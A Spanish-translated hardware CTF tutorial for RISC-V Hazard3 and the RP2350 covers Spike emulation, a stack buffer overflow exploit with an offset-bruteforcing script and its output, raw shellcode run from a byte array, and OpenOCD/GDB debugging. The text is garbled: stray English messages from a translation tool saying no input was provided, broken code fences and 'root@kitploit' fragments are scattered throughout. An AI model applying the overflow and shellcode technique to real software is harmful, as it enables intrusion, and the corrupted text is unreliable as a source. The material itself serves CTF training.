I don't see any source text in the input to translate. The input ends after "INPUT:" with no Markdown content provided.

Please provide the actual chunk text, and I'll translate it from English to Spanish following all the formatting rules.```
cd /home/dreg/RISCV/riscv-isa-sim
mkdir build
cd build
../configure --prefix=$RISCV --enable-histogram
make
make install

Probar si funciona

poc.c (/home/dreg/RISCV/poc.c)``` #include <stdio.h> int main() { printf("Hello Dreg RISCV!\n"); return 0; }

root@kitploit:~
Compila poc.c```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/riscv32-unknown-elf-gcc -march=rv32imac_zicsr_zifencei_zba_zbb_zbs -mabi=ilp32 -static -g poc.c -o poc

Ejecutar poc en Spike``` cd /home/dreg/RISCV /home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc

root@kitploit:~
La salida debería ser:```
Hello Dreg RISCV!

¡Felicidades, has compilado y ejecutado correctamente un programa RISC-V usando el emulador Spike!

Cómo usar el depurador de Spike

Depurando la función main:``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/riscv32-unknown-elf-objdump -D poc

root@kitploit:~
función main en mi caso en 0x00010154```
.....
0001016a <main>:
   1016a:       1141                    addi    sp,sp,-16
   1016c:       c606                    sw      ra,12(sp)
   1016e:       c422                    sw      s0,8(sp)
   10170:       0800                    addi    s0,sp,16
   10172:       67c9                    lui     a5,0x12
   10174:       43c78513                addi    a0,a5,1084 # 1243c <__errno+0x6>
   10178:       26ad                    jal     104e2 <puts>
   1017a:       4781                    li      a5,0
   1017c:       853e                    mv      a0,a5
   1017e:       40b2                    lw      ra,12(sp)
   10180:       4422                    lw      s0,8(sp)
   10182:       0141                    addi    sp,sp,16
   10184:       8082                    ret
.....

Please provide the Markdown content to translate.``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/spike -d --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc

root@kitploit:~
Dentro del depurador de spike:```
(spike) until pc 0 0x0001016a
(spike) pc 0
0x0001016a

Ahora estás al principio de la función main, presiona enter para avanzar por las instrucciones una por una.``` (spike) core 0: 0x0001016a (0x00001141) c.addi sp, -16 (spike) core 0: 0x0001016c (0x0000c606) c.swsp ra, 12(sp) (spike) core 0: 0x0001016e (0x0000c422) c.swsp s0, 8(sp) (spike) core 0: 0x00010170 (0x00000800) c.addi4spn s0, sp, 16

root@kitploit:~
Puedes usar el comando `help` para ver más opciones. 

Spike es un depurador MUY básico, así que combina el `riscv32-unknown-elf-objdump` externo, `dump` (comando de spike) + `hexdump` externo para analizar memoria y código de manera más efectiva...


## Ejemplo de POC chapucera

Ejemplo de POC chapucera de un clásico desbordamiento de búfer explotado en RISCV Hazard3 usando el emulador Spike.

En RISCV, la dirección de retorno puede almacenarse en un registro en lugar de en la pila como en x86. Para habilitar la sobrescritura de la dirección de retorno basada en la pila, añadí llamadas a funciones anidadas para colocar la dirección de retorno en la pila.

test.c```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static unsigned char buff[0x100] = { 0 };
static void __attribute__((optimize("O0"))) func3(unsigned char* exbuff)
{
        strcpy((char*)exbuff, (char*)buff);
}
static void __attribute__((optimize("O0"))) func2(unsigned char* exbuff)
{
        func3(exbuff);
}

static void __attribute__((optimize("O0"))) func1(void)
{
        unsigned char exbuff[10] = { 0 };
        func2(exbuff);
}

static void __attribute__((optimize("O0"))) func_impossible(void)
{
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("This function is impossible to reach\n");
        printf("good hacker!\n");
        exit(0);
}

int main(int argc, char* argv[])
{
        printf("\nhttps://github.com/therealdreg/hcon2026hwctf\n");
        printf("Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg\n");
        printf("func_impossible address: %p\n", func_impossible);
        if (argc < 2)
        {
                printf("Error, must execute with one arg\n");
                return 1;
        }
        printf("argv 1: %s\n", argv[1]);
        strcpy((char*)buff, argv[1]);
        func1();
        return 0;
}

dotest.sh``` #!/usr/bin/env bash

https://github.com/therealdreg/hcon2026hwctf

by Dreg - @therealdreg

set -x

RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"

CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"

$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test

file test

spike --isa=$ISA_SPIKE "$PK" test AA

echo

spike --isa=$ISA_SPIKE "$PK" test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

root@kitploit:~
Después de dotest.sh esta es la salida```
....
+ spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs /home/dreg/RISCV/riscv32-unknown-elf/bin/pk test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101d2
argv 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
z  00000000 ra 41414141 sp 7ffffd20 gp 0001c810
tp 00000000 t0 000003e8 t1 0000006a t2 00000001
s0 41414141 s1 00000000 a0 7ffffd04 a1 0001c7c4
a2 7ffffd64 a3 00000000 a4 00000000 a5 00000041
a6 ffffffff a7 00000040 s2 00000000 s3 00000000
s4 00000000 s5 00000000 s6 00000000 s7 00000000
s8 00000000 s9 00000000 sA 00000000 sB 00000000
t3 00000000 t4 00000000 t5 00008801 t6 00000005
pc 41414140 va/inst 41414140 sr 80006020
User fetch segfault @ 0x41414140

Como puedes ver, desbordamos exitosamente el búfer y controlamos el contador de programa (pc) para que apunte a 0x41414140, que corresponde a 'AAAA' en ASCII.

Ahora creemos el payload de exploit PoC de CRAP para redirigir la ejecución a la función func_impossible.

Para crear el payload del exploit, necesitamos determinar el offset correcto para sobrescribir la dirección de retorno y luego añadir la dirección de la función func_impossible.

xpl.sh``` #!/usr/bin/env bash

https://github.com/therealdreg/hcon2026hwctf

by Dreg - @therealdreg

Bruteforce offset script for RISCV Hazard3 buffer overflow

set -e

RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"

CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"

echo "[+] Compiling test.c..." $CC -march=$ARCH -mabi=$ABI -static -g test.c -o test

echo "[+] Getting func_impossible address..." FUNC_ADDR=$(spike --isa=$ISA_SPIKE "$PK" test AA 2>&1 | grep "func_impossible address:" | awk '{print $3}')

if [ -z "$FUNC_ADDR" ]; then echo "[-] Error: Could not get func_impossible address" exit 1 fi

echo "[+] func_impossible address: $FUNC_ADDR"

Convert hex address to decimal and then to little-endian bytes

ADDR_DEC=$((FUNC_ADDR)) BYTE1=$(printf '%02x' $((ADDR_DEC & 0xFF))) BYTE2=$(printf '%02x' $(((ADDR_DEC >> 8) & 0xFF))) BYTE3=$(printf '%02x' $(((ADDR_DEC >> 16) & 0xFF))) BYTE4=$(printf '%02x' $(((ADDR_DEC >> 24) & 0xFF)))

echo "[+] Address bytes (little-endian): \x$BYTE1 \x$BYTE2 \x$BYTE3 \x$BYTE4"

echo "[+] Starting bruteforce for offset..."

for OFFSET in {10..100}; do echo "[*] Testing offset: $OFFSET"

root@kitploit:~
# Create payload with OFFSET bytes of 'A' + target address in little-endian
python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin

# Run spike and capture output
OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)

# Check if func_impossible was executed
if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
    echo ""
    echo "[+] SUCCESS! Offset found: $OFFSET"
    echo "[+] Exploit payload saved to: exploit_payload.bin"
    echo "[+] Target address: $FUNC_ADDR"
    echo ""
    echo "[+] Output:"
    echo "$OUTPUT"
    echo ""
    echo "[+] To reproduce:"
    SPIKE_PATH=$(which spike)
    echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
    exit 0
fi

done

echo "[-] Offset not found in range 10-100" exit 1

root@kitploit:~
Ejemplo de salida después de ejecutar xpl.sh```
[+] Compiling test.c...
[+] Getting func_impossible address...
[+] func_impossible address: 0x101e2
[+] Address bytes (little-endian): \xe2 \x01 \x01 \x00
[+] Starting bruteforce for offset...
[*] Testing offset: 10
[*] Testing offset: 11
[*] Testing offset: 12
[*] Testing offset: 13
[*] Testing offset: 14
[*] Testing offset: 15
[*] Testing offset: 16
[*] Testing offset: 17
[*] Testing offset: 18
[*] Testing offset: 19
[*] Testing offset: 20
[*] Testing offset: 21

[+] SUCCESS! Offset found: 21
[+] Exploit payload saved to: exploit_payload.bin
[+] Target address: 0x101e2

[+] Output:

https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101e2
argv 1: AAAAAAAAAAAAAAAAAAAAA�
�AAAAAAAAA�
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
good hacker!

[+] To reproduce:
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" test "$(cat exploit_payload.bin)"

hexdump -C exploit_payload.bin``` 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000010 41 41 41 41 41 e2 01 01 00 |AAAAA....|

root@kitploit:~
El script `xpl.sh` es un POC CRAP que fuerza bruta con éxito el offset necesario para alcanzar la función `func_impossible`. Puede que necesites modificar o adaptar el exploit para ajustarlo a tus requisitos específicos.

# Payload / Escritura de shellcode RISCV Hazard3

Esta sección demuestra la transición desde código C de alto nivel hasta shellcode de instrucciones en bruto para el núcleo Hazard3 RISC-V. Comenzaremos con un proyecto estándar del Pico SDK y eliminaremos progresivamente las abstracciones hasta poder ejecutar código máquina en bruto desde un array de bytes.```
# Install dependencies
sudo apt-get update
sudo apt-get install cmake python3 build-essential gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib git

(no content provided)```

Create workspace

cd && mkdir ~/PAYLOAD

root@kitploit:~
No se proporcionó contenido para traducir.```
# Clone SDK v2.2.0
cd ~/PAYLOAD
git clone --recursive --branch 2.2.0 https://github.com/raspberrypi/pico-sdk.git

Configure el proyecto específicamente para el RP2350 usando la arquitectura RISC-V. Tenga en cuenta que definimos las versiones de la plataforma y de la cadena de herramientas para garantizar la compatibilidad.

Archivo: `~/PAYLOAD/CMakeLists.txt```` set(PICO_PLATFORM rp2350-riscv) set(PICO_BOARD pico2 CACHE STRING "Board type") set(sdkVersion 2.2.0) set(toolchainVersion RISCV_ZCB_RPI_2_2_0_3)

cmake_minimum_required(VERSION 3.13...3.27)

include(pico-sdk/pico_sdk_init.cmake)

project(my_project)

pico_sdk_init()

add_executable(poc poc.c )

target_link_libraries(poc pico_stdlib)

pico_enable_stdio_usb(poc 1) pico_enable_stdio_uart(poc 0)

pico_add_extra_outputs(poc)

root@kitploit:~
## Un archivo C simple

Comenzamos con un programa C simple que conmuta un GPIO. Esta versión depende de funciones SDK externas.

Archivo: `~/PAYLOAD/poc.c````
#include <stdio.h>
#include "pico/stdlib.h"

static void __attribute__((optimize("O0"))) onled(void) {
    gpio_put(25, 1);
}

int main() {
    gpio_init(25);
    gpio_set_dir(25, GPIO_OUT);
    onled();
    
    sleep_ms(1000);
    stdio_init_all();
    sleep_ms(1000);
    
    while (1)
    {
    	sleep_ms(500);
    	gpio_put(25, 0);
    	printf("HI Dreg!\n");
    	sleep_ms(500);
    	onled();
    }
    return 0;
}

Compila el proyecto e inspecciona el binario resultante.``` cd ~/PAYLOAD/ rm -rf build/ && cmake -S . -B build && make -C build -j

root@kitploit:~
Archivo: `~/PAYLOAD/build/poc.elf````
~/PAYLOAD/build/poc.elf: ELF 32-bit LSB executable, UCB RISC-V, RVC, soft-float ABI, version 1 (SYSV), statically linked, with debug_info, not stripped

Si revisamos el desensamblado, podemos ver cómo el compilador maneja las llamadas a funciones.

Archivo: `~/PAYLOAD/build/poc.dis```` .... 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 2031 jal 10000146 <gpio_put> 1000013c: 0001 nop 1000013e: 40b2 lw ra,12(sp) 10000140: 4422 lw s0,8(sp) 10000142: 0141 addi sp,sp,16 10000144: 8082 ret .... 10000146 <gpio_put>: 10000146: 28a01533 bset a0,zero,a0 1000014a: d00007b7 lui a5,0xd0000 1000014e: c199 beqz a1,10000154 <gpio_put+0xe> 10000150: cf88 sw a0,24(a5) 10000152: 8082 ret 10000154: d388 sw a0,32(a5) 10000156: 8082 ret ....

root@kitploit:~
## Un archivo C con código asm (sin llamada externa)
Para crear un payload independiente, debemos evitar saltos externos. Reescribimos la función usando ensamblado en línea para interactuar directamente con los registros del hardware.

Archivo: `~/PAYLOAD/poc_with_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"

__attribute__((naked, optimize("O0"))) void onled(void) {
 __asm__ volatile(
 
    "addi sp, sp, -16\n\t"
    "sw   ra, 12(sp)\n\t"
    "sw   s0,  8(sp)\n\t"
    "addi s0, sp, 16\n\t"

 
    "li   a1, 1\n\t"
    "li   a0, 25\n\t"

 
    "bset a0, zero, a0\n\t"   
    "lui  a5, 0xd0000\n\t"     
    "beqz a1, 1f\n\t"          
    "sw   a0, 24(a5)\n\t"      
    "j    2f\n\t"
    "1:\n\t"
    "sw   a0, 32(a5)\n\t"      
    "2:\n\t"

    "nop\n\t"

    "lw   ra, 12(sp)\n\t"
    "lw   s0,  8(sp)\n\t"
    "addi sp, sp, 16\n\t"
    "ret\n\t"
  );
}

int main() {
    gpio_init(25);
    gpio_set_dir(25, GPIO_OUT);
    onled();
    
    sleep_ms(1000);
    stdio_init_all();
    sleep_ms(1000);
    
    while (1)
    {
    	sleep_ms(500);
    	gpio_put(25, 0);
    	printf("HI Dreg!\n");
    	sleep_ms(500);
    	onled();
    }
    return 0;
}

Ahora el desensamblado muestra que la función ahora es completamente autocontenida:

Archivo: `~/PAYLOAD/build/poc_with_asm.dis```` 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 28a01533 bset a0,zero,a0 1000013e: d00007b7 lui a5,0xd0000 10000142: c199 beqz a1,10000148 <onled+0x1a> 10000144: cf88 sw a0,24(a5) 10000146: a011 j 1000014a <onled+0x1c> 10000148: d388 sw a0,32(a5) 1000014a: 0001 nop 1000014c: 40b2 lw ra,12(sp) 1000014e: 4422 lw s0,8(sp) 10000150: 0141 addi sp,sp,16 10000152: 8082 ret 10000154: 0001 nop

root@kitploit:~
## Un archivo C con código de payload / estilo shellcode
Extrae los opcodes a un array de bytes y ejecútalo casteándolo a un puntero a función.

Archivo: `~/PAYLOAD/poc_payload_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"

unsigned char payload[] = {
"\x41\x11"              // 1141
"\x06\xc6"              // c606
"\x22\xc4"              // c422
"\x00\x08"              // 0800
"\x85\x45"              // 4585
"\x65\x45"              // 4565
"\x33\x15\xa0\x28"      // 28a01533
"\xb7\x07\x00\xd0"      // d00007b7
"\x99\xc1"              // c199
"\x88\xcf"              // cf88
"\x11\xa0"              // a011
"\x88\xd3"              // d388
"\x01\x00"              // 0001
"\xb2\x40"              // 40b2
"\x22\x44"              // 4422
"\x41\x01"              // 0141
"\x82\x80"              // 8082
"\x01\x00"              // 0001
};

int main() {
    gpio_init(25);
    gpio_set_dir(25, GPIO_OUT);
    ((void (*)(void))(void*)payload)();
    
    sleep_ms(1000);
    stdio_init_all();
    sleep_ms(1000);
    
    while (1)
    {
    	sleep_ms(500);
    	gpio_put(25, 0);
    	printf("HI Dreg!\n");
    	sleep_ms(500);
    	((void (*)(void))(void*)payload)();
    }
    return 0;
}

Después de compilar, podemos verificar que el payload está correctamente mapeado en memoria

Archivo: `~/PAYLOAD/build/poc_payload_asm.dis```` 20000e74 : 20000e74: 1141 c606 c422 0800 4585 4565 1533 28a0 A..."....EeE3..( 20000e84: 07b7 d000 c199 cf88 a011 d388 0001 40b2 ...............@ 20000e94: 4422 0141 8082 0001 0000 0000 "DA.........

root@kitploit:~
# Depuración de hardware

Uno de los desafíos requiere que te asocies con otro participante o que tengas dos placas RP2350 para hacer depuración de hardware real; aprendamos cómo hacerlo.

(Necesitas tener pico-sdk instalado)

/etc/udev/rules.d/99-pico.rules```
# BOOTSEL mass storage
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0003", MODE:="0666"
# Pico normal mode (USB CDC/HID); útil para picotool
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0009", MODE:="0666"
# CMSIS-DAP probes (ej. RP Debug)
SUBSYSTEMS=="usb", ATTRS{idVendor}=="0d28", MODE:="0666"

/etc/udev/rules.d/99-openocd.rules```

Sample udev rules for OpenOCD and Raspberry Pi / common debug probes

Copy (as root) to /etc/udev/rules.d/99-openocd.rules and reload udev.

Choose MODE/GROUP according to your security policy. Using GROUP="plugdev" and MODE="0660" is safer than 0666.

Ensure your user is in the chosen group (e.g. plugdev or dialout).

Raspberry Pi Pico in BOOTSEL (UF2 mass-storage + HID)

SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0003", GROUP="plugdev", MODE="0660"

Raspberry Pi Debug Probe (CMSIS-DAP) composite interface

(VID 2e8a, PID 000c) Provides CMSIS-DAP and UART CDC.

SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="000c", GROUP="plugdev", MODE="0660"

Optional: allow tty device of Debug Probe (UART) for dialout group

SUBSYSTEM=="tty", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="000c", GROUP="dialout", MODE="0660"

Picoprobe (RP2040 running picoprobe firmware)

Often appears as VID 2e8a PID 0004

SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0004", GROUP="plugdev", MODE="0660"

Generic Arm DAPLink devices (mbed) - vendor 0d28

SUBSYSTEM=="usb", ATTR{idVendor}=="0d28", GROUP="plugdev", MODE="0660"

ST-Link V2/V3 (STMicroelectronics)

SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3748", GROUP="plugdev", MODE="0660" # ST-Link V2 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="374b", GROUP="plugdev", MODE="0660" # ST-Link V2-1 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3752", GROUP="plugdev", MODE="0660" # ST-Link V3

SEGGER J-Link (example common VID/PID)

SUBSYSTEM=="usb", ATTR{idVendor}=="1366", GROUP="plugdev", MODE="0660"

FTDI-based adapters (optional; restrict if needed)

SUBSYSTEM=="usb", ATTR{idVendor}=="0403", GROUP="plugdev", MODE="0660"

CMSIS-DAP HID interface sometimes enumerates under hidraw; ensure access if needed

KERNEL=="hidraw*", ATTRS{idVendor}=="2e8a", MODE="0660", GROUP="plugdev" KERNEL=="hidraw*", ATTRS{idVendor}=="0d28", MODE="0660", GROUP="plugdev"

After copying: sudo udevadm control --reload-rules && sudo udevadm trigger

Unplug/replug devices or run: sudo udevadm trigger -v -c add -s usb

Verify: ls -l /dev/hidraw* /dev/ttyACM* ; lsusb -v -d 2e8a:000c

Test OpenOCD without sudo: openocd -f interface/cmsis-dap.cfg -f target/rp2040.cfg

root@kitploit:~
I'm ready. Please provide the actual chunk content to translate.```
sudo udevadm control -R

Primero, necesitas flashear un firmware RISCV .uf2 en la placa objetivo. Como el CTF utiliza firmware RISCV, este paso no es necesario. Y además, ¡quieres depurar ese firmware!

Convierte una placa RP2350 en una placa depuradora de hardware con este firmware: https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2

Conecta la placa depuradora de hardware a la placa objetivo

Conecta RISCV-openocd``` cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts

root@kitploit:~
The input chunk appears to be empty. No text was provided after "INPUT:". Please re-send the chunk content so I can translate it.```
/home/dreg/.pico-sdk/openocd/0.12.0+dev/openocd \
  -s /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts \
  -f interface/cmsis-dap.cfg \
  -f target/rp2350-riscv.cfg \
  -c "set USE_CORE { rv0 }" \
  -c "adapter speed 5000" \
  -c "gdb breakpoint_override hard" \
  -c "init"

I don't see any content to translate in the input. The chunk appears to be empty—there's nothing between "INPUT:" and "Output:". Please provide the actual Markdown content for chunk 153 so I can translate it.``` Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : [rp2350.rv0] Hardware thread awareness created Info : [rp2350.rv1] Hardware thread awareness created ocd_process_reset_inner rv0 adapter speed: 5000 kHz force hard breakpoints Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729 Info : CMSIS-DAP: SWD supported Info : CMSIS-DAP: Atomic commands supported Info : CMSIS-DAP: Test domain timer supported Info : CMSIS-DAP: FW Version = 2.0.0 Info : CMSIS-DAP: Interface Initialised (SWD) Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0 Info : CMSIS-DAP: Interface ready Info : clock speed 5000 kHz Info : SWD DPIDR 0x4c013477 Info : [rp2350.rv0] datacount=1 progbufsize=2 Info : [rp2350.rv0] Disabling abstract command reads from CSRs. Info : [rp2350.rv0] Disabling abstract command writes to CSRs. Info : [rp2350.rv0] Core 0 could not be made part of halt group 1. Info : [rp2350.rv0] Examined RISC-V core Info : [rp2350.rv0] XLEN=32, misa=0x40901105 Info : [rp2350.rv0] Examination succeed Info : [rp2350.rv1] datacount=1 progbufsize=2 Info : [rp2350.rv1] Disabling abstract command reads from CSRs. Info : [rp2350.rv1] Disabling abstract command writes to CSRs. Info : [rp2350.rv1] Core 1 could not be made part of halt group 1. Info : [rp2350.rv1] Examined RISC-V core Info : [rp2350.rv1] XLEN=32, misa=0x40901105 Info : [rp2350.rv1] Examination succeed Info : [rp2350.rv0] starting gdb server on 3333 Info : Listening on port 3333 for gdb connections Info : Listening on port 6666 for tcl connections Info : Listening on port 4444 for telnet connections

root@kitploit:~
Ahora conecta RISCV-GDB:```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb -q \
  -ex "set pagination off" \
  -ex "set remote interrupt-on-connect off" \
  -ex "target remote localhost:3333" \
  -ex "monitor targets rp2350.rv0" \
  -ex "monitor halt" \
  -ex "info reg"

The input chunk is empty — there is no Markdown content to translate. Please provide the actual content for chunk 157 of 179.``` Remote debugging using localhost:3333 warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x20001d56 in ?? () rp2350.rv0 halted due to breakpoint. rp2350.rv1 halted due to debug-request. ra 0x2001041c 0x2001041c sp 0x20010400 0x20010400 gp 0x20031455 0x20031455 tp 0x0 0x0 t0 0x2000d7ba 536926138 t1 0x6a8c 27276 t2 0x200103a0 536937376 fp 0x20082000 0x20082000 s1 0x20010450 536937552 a0 0x0 0 a1 0x7232 29234 a2 0xffa00000 -6291456 a3 0x7206 29190 a4 0x0 0 a5 0xbdf0 48624 a6 0x7750 30544 a7 0x1 1 s2 0x10000036 268435510 s3 0x0 0 s4 0x0 0 s5 0x0 0 s6 0x0 0 s7 0x0 0 s8 0x0 0 s9 0x0 0 s10 0x0 0 s11 0x0 0 t3 0x200103d4 536937428 t4 0x0 0 t5 0x6b0c 27404 t6 0x74f8 29944 pc 0x20001d56 0x20001d56

root@kitploit:~
Desensambla 10 instrucciones desde el pc actual usando x/10i $pc:```
(gdb) x/10i $pc
=> 0x20001d56:	lui	a5,0x20031
   0x20001d5a:	lbu	a5,-931(a5)
   0x20001d5e:	.insn	2, 0x9fe1
   0x20001d60:	xori	a5,a5,1
   0x20001d64:	.insn	2, 0x9fe1
   0x20001d66:	bnez	a5,0x20001d54
   0x20001d68:	li	a0,2000
   0x20001d6c:	jal	0x20004ce2
   0x20001d70:	nop
   0x20001d72:	li	a5,1

Desde este punto puedes depurar el chip.

Black Magic Debug Probe RP2350 RISCV Hazard3

Compra Black Magic Debug Probe: con cable JTAG, cable UART de 0.1" y adaptador de 20 pines:

  • https://1bitsquared.de/products/black-magic-probe

/etc/udev/rules.d/99-blackmagic-plugdev.rules```

Black Magic Probe

there are two connections, one for GDB and one for UART debugging

copy this to /etc/udev/rules.d/99-blackmagic.rules

and run sudo udevadm control -R

ACTION!="add|change|bind", GOTO="blackmagic_rules_end" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}" SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess" SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess" LABEL="blackmagic_rules_end"

root@kitploit:~
I don't see any content to translate in the input. The chunk appears to be empty.```
sudo udevadm control -R

Actualización:

  • https://black-magic.org/upgrade.html``` cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
root@kitploit:~
Black Magic Debug para BMP (objetivos RISC-V):```
./bmputil-cli probe update

Updating release metadata cache                                                                                                                                                                                    [2026-01-08T13:26:22Z INFO  bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:26:22Z INFO  bmputil_cli] Upgrading probe firmware from 1.10.2 to 2.0.0
✔ Which firmware variant would you like to run on your probe? · Black Magic Debug for BMP (RISC-V targets)
✔ What action would you like to take with this firmware? · Flash to probe
  Downloading requested firmware                                                                                                                                                                                                                                       Found: Black Magic Probe 1.10.2
  Serial: BEF6A9B0
  Port:  1-3
Erasing flash...
Flashing...
 100% |........................................................| 77.99 KiB/77.99 KiB [4.66 KiB/s 17s]                                                                                                                [2026-01-08T13:26:49Z INFO  bmputil::flasher] Flash complete!

I didn't receive any source text to translate. Please provide the chunk content.``` cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0

root@kitploit:~
[No content provided in the INPUT section. Please paste the Markdown chunk you wish to have translated.]```
./bmputil-cli probe info
Found: Black Magic Probe 2.0.0
  Serial: BEF6A9B0
  Port:  1-3

No se proporcionó contenido en la entrada para traducir.``` ./bmputil-cli probe update Updating release metadata cache [2026-01-08T13:27:41Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present [2026-01-08T13:27:41Z INFO bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating

root@kitploit:~
[No input text provided to translate.]```
